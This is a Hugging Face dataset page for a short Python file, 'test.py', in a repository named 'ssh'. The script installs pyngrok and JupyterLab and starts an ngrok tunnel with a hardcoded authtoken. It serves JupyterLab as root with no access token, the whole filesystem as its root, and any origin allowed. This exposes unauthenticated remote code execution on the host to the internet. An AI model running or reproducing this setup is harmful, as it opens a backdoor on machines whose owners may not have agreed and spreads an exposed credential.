Download test.py from nyan102/ssh: direct link, hf CLI and curl.
- Browser
- Download file 1.21 kB
-
https://huggingface.co/datasets/nyan102/ssh/resolve/main/test.py
- Command line
-
hf download hf://datasets/nyan102/ssh/test.py
-
curl -L -o test.py https://huggingface.co/datasets/nyan102/ssh/resolve/main/test.py
1.21 kB
| import subprocess | |
| import time | |
| subprocess.Popen(["pip", "install", "pyngrok", "jupyterlab"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| ngrok_token_for_jupyter = "2jIHIsbkkZuy7kHSXBI9AWopaYl_ymL6gSiPpcuiw8NVNdpT" | |
| http_port = "8083" | |
| time.sleep(60) #等待10秒安装完毕 | |
| # Command to run ngrok in the background | |
| ngrok_command = ["ngrok", "http", http_port, "--authtoken=" + ngrok_token_for_jupyter] | |
| ngrok_process = subprocess.Popen(ngrok_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| # Command to run jupyter-lab in the background | |
| jupyter_command = ["jupyter-lab", "--no-browser", "--ip=0.0.0.0", "--allow-root", "--notebook-dir=/", "--port=8083", "--LabApp.allow_origin=*", "--LabApp.token=", "--LabApp.base_url="] | |
| jupyter_process = subprocess.Popen(jupyter_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| # Wait for ngrok and jupyter-lab processes to finish | |
| ngrok_out, ngrok_err = ngrok_process.communicate() | |
| jupyter_out, jupyter_err = jupyter_process.communicate() | |
| # Print ngrok and jupyter-lab outputs | |
| print("Ngrok Output:", ngrok_out.decode()) | |
| print("Ngrok Error:", ngrok_err.decode()) | |
| print("Jupyter Output:", jupyter_out.decode()) | |
| print("Jupyter Error:", jupyter_err.decode()) |